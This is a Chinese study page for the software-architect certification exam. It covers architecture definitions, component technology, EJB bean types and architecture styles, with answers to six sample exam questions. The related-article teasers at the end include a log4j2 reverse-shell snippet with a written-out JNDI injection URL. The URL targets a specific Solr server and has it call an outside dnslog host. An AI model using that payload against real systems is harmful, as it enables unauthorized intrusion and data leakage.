【软考-架构】13.1、软件架构概述-构件技术

✨资料&文章更新✨
GitHub地址:https://github.com/tyronczt/system_architect

文章目录

  • ✨【重点】系统架构设计
  • 软件架构概述
  • 软件架构设计与生命周期
  • 构件
  • 🌟软件架构风格
    • 数据流风格
    • 调用/返回风格
    • 独立构件风格
    • 虚拟机风格
    • 仓库风格
    • 闭环控制风格
    • C2体系结构风格
  • 软件架构风格【总结】-- 记忆
  • 💯考试真题
    • 第一题
    • 第二题
    • 第三题
    • 第四题
    • 第五题
    • 第六题

✨【重点】系统架构设计

软件架构概述

需求分析 软件设计 之间的过渡过程称为软件架构

软件架构为软件系统提供了一个结构行为属性的高级抽象,由构件的描述、构件的相互作用(连接件)、指导构件集成的模式以及这些模式的约束组成。

解决好软件的复用质量维护问题是研究软件架构的根本目的。

软件架构设计与生命周期

  • 需求分析阶段
  • 设计阶段
  • 实现阶段
  • 构件组装阶段
  • 部署阶段
  • 后开发阶段

SA :软件架构(Software Architecture)

构件

构件是一个独立可交付的功能单元外界通过接口访问其提供的服务。

EJB(Enterprise Java Bean)

  • 会话Bean(Session Bean)
  • 实体Bean(Entity Bean)
  • 消息驱动Bean(Message-driven Bean)

🌟软件架构风格

软件体系结构风格 是 描述某一特定应用领域中系统组织方式的惯用模式。

  • 数据流分割
  • 调用/返回风格
  • 独立构件风格
  • 虚拟机风格
  • 仓库风格

数据流风格

调用/返回风格

独立构件风格

虚拟机风格

仓库风格

闭环控制风格

C2体系结构风格

软件架构风格【总结】-- 记忆

💯考试真题

第一题

答案:A B

基本概念:软件架构风格是描述某一特定应用领域中系统 组织方式 的惯用模式,它反映了领域中众多系统所共有的 结构语义特性。架构风格强调对 架构设计 的重用。

架构设计是指对软件系统的整体结构、组件划分、组件之间的交互等方面进行规划和设计,架构风格提供了一种通用的设计模式,不同的系统可以采用相同的架构风格来进行设计,从而实现设计的重用。

第二题

答案:C

解析:引入对象管理层不但不能提高性能,反而会降低系统性能。这个道理与分层模型中增加层次是一样的。

第三题

答案:A

解析:根据题目的意思,拟开发的VIP管理系统中VIP会员核标准要能随时改变,灵活定义。在

这方面虚拟机风格最为擅长,可而属于虚拟机风格的只有A选项。

第四题

答案:A

C2体系结构风格可以概括为:通过连接件绑定在一起的按照一组规则运作的并行构件网络。

第五题

答案:A

解析:"每个阶段产生的结果作为下一个阶段的输入”是典型的数据流架构风格的特点,选项中,仅有管道-过滤器属于这种风格。

第六题

答案:D

解析:根据题意,要求对业务功能灵活组合形成新的业务功能,就是有自定义类型的业务。自定义的业务能正常执行,需要有虚拟机架构的支撑。目前备选答案A与D都是虚拟机风格。而A主要适合于专家系统,所以应选D。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/35526.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C++特性——智能指针

为什么需要智能指针 对于定义的局部变量,当作用域结束之后,就会自动回收,这没有什么问题。 当时用new delete的时候,就是动态分配对象的时候,如果new了一个变量,但却没有delete,这会造成内存泄…

基于SpringBoot+Vue的幼儿园管理系统+LW示例参考

1.项目介绍 系统角色:管理员、教师、普通用户功能模块:用户管理、教师管理、班级管理、幼儿信息管理、会议记录管理、待办事项、职工考核、请假信息、缴费信息、体检管理、资源管理、原料管理、菜品信息管理等技术选型:SpringBoot&#xff0…

网络通信(传输层协议:TCP/IP ,UDP):

Socket是对网络中不同主机上的应用进程之间进行双向通信的端点的抽象。一个套接字就是网络上进程通信的一端,提供了应用层进程利用网络协议交换数据的机制。 网络协议:一台电脑的数据怎么传递给另一台电脑,是由网络协议来规定的 端口号&#…

Qt之自定义界面组件 一

通过qt中的painter绘图事件绘制一个电池电量图的变化。效果如下图 创建一个基于界面widget工程,在wdiget界面添加一个widget界面,将添加的widget界面的类提升为Tbattery.在Tbattery类中重写painEvent电池电量代码 文件目录结构 主要部分代码 //Tbattery.cpp #inc…

AP AR

混淆矩阵 真实值正例真实值负例预测值正例TPFP预测值负例FNTN (根据阈值预测) P精确度计算:TP/(TPFP) R召回率计算:TP/(TPFN) AP 综合考虑P R 根据不同的阈值计算出不同的PR组合, 画出PR曲线,计算曲线…

学习单片机需要多长时间才能进行简单的项目开发?

之前有老铁问我,学单片机到底要多久,才能进行简单的项目开发?是三个月速成,还是三年磨一剑? 今天咱们就来聊聊这个话题,我不是什么高高在上的专家,就是个踩过无数坑、烧过几块板子的“技术老友”…

数学建模:MATLAB循环神经网络

一、简述 1.循环神经网络 循环神经网络(RNN)是一种用于处理序列数据的神经网络。不同于传统的前馈神经网络,RNN在隐藏层中加入了自反馈连接,使得网络能够对序列中的每个元素执行相同的操作,同时保持一个“记忆”状态…

《GitHub网路访问不稳定:解决办法》:此文为AI自动生成

《GitHub网路访问不稳定:解决办法》:此文为AI自动生成 GitHub 网路访问不稳定初现 在当今数字化时代,软件开发行业蓬勃发展,GitHub 作为全球最大的代码托管平台,已然成为无数开发者不可或缺的 “宝库”。它不仅汇聚了海…

SpringCloud 学习笔记2(Nacos)

Nacos Nacos 下载 Nacos Server 下载 | Nacos 官网 下载、解压、打开文件: 更改 Nacos 的启动方式 Nacos 的启动模式默认是集群模式。在学习时需要把他改为单机模式。 把 cluster 改为 standalone,记得保存! 启动startup.cmd Ubuntu 启动…

在windows10系统上安装docker,然后在容器中运行GPU版本的Pytorch,并使用vscode连接该容器

一 . 安装Docker Desktop 首先打开网址https://docs.docker.com/desktop/install/windows-install/ 下载完后,双击下面的exe文件进行安装,默认情况下,Docker Desktop 安装在C:\Program Files\Docker\Docker 出现提示时,请确保…

AI入门7:python三种API方式调用本地Ollama+DeepSeek

回顾 书接上篇:各种方式搭建了本地知识库: AI入门:AI模型管家婆ollama的安装和使用-CSDN博客 AI入门2:本地AI部署,用ollama部署deepseek(私有化部署)-CSDN博客 AI入门3:给本地d…

Unity导出WebGL

在Build Settings页面中平台(Platform)切换到WebGL平台 如何没有安装WebGL扩展插件,点击下载(Open Download Page) 下载扩展安装文件WebGL-Support-for-Editor-2023.1.0f1c1.exe 下载地址: http://downlo…

深入理解静态与动态代理设计模式:从理论到实践

静态代理设计模式 1.为什么需要代理设计模式? javaEE分层开发中,哪个层次对于我们来讲最重要 DAO---->Service---->Controller JavaEE分层中,最为重要的是Service层 Service层包含了那些代码 Service层核心功能(几十行 上百代码) 额外…

4.JVM-垃圾回收介绍

记录个人学习中记录笔记,如有错误请您指正,谢谢🙏 垃圾回收器发展史 传统垃圾回收: 分代回收 不同代有不同的垃圾回收机制 保底 标记清除算法 垃圾识别算法 引用计数法 缺陷:下图2 出现循环引用 无法解决 可达性分析 大部分(Java,pytho…

解决qt中自定插件加载失败,不显示问题。

这个问题断断续续搞了一天多,主要是版本不匹配问题。 我们先来看下 Based on Qt 6.6.0 → 说明 Qt Creator 本身 是基于 Qt 6.6.0 框架构建的。MSVC 2019, 64-bit → 说明 Qt Creator 是使用 Microsoft Visual C 2019 编译器(64 位) 编译的。…

MySQL的行级锁锁的到底是什么?

大家好,我是锋哥。今天分享关于【Mysql自增主键会遇到什么问题?】面试题。希望对大家有帮助; MySQL的行级锁锁的到底是什么? 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 MySQL的行级锁(Row-level Locking)是一种…

gitlab将本地项目提交到远程dev分支

获取Git路径 首先从远程获取到git路径,将给的git地址进行克隆到本地文件; git clone http:************.git 按照git地址的文件路径将本地项目,拷贝到目标文件中 在该路径中,初始化命令; # 初始化项目 git init #…

深度学习-服务器训练SparseDrive过程记录

1、cuda安装 1.1 卸载安装失败的cuda 参考:https://blog.csdn.net/weixin_40826634/article/details/127493809 注意:因为/usr/local/cuda-xx.x/bin/下没有卸载脚本,很可能是apt安装的,所以通过执行下面的命令删除: a…

log4j2漏洞:反弹shell

在dns.log生成一个网址 将得到的网址上传上去 http://39.105.61.160:8983/solr/admin/cores?action${jndi:ldap://${sys:java.version}.6tioul.dnslog.cn} 得到回显,表示操作已执行,证明漏洞存在 在云服务器上构建恶意的类 将要执行的恶意操作的代码进…

数据结构——查找

查找 1. 查找的基本概念 查找(Searching):就是根据给定的某个值,在查找表中确定一个其关键字等于给定值的数据元素( 或记录)。查找结果分为两种,一种是查找成果,一种是查找失败。 查找表(Search Table):是由同一类型…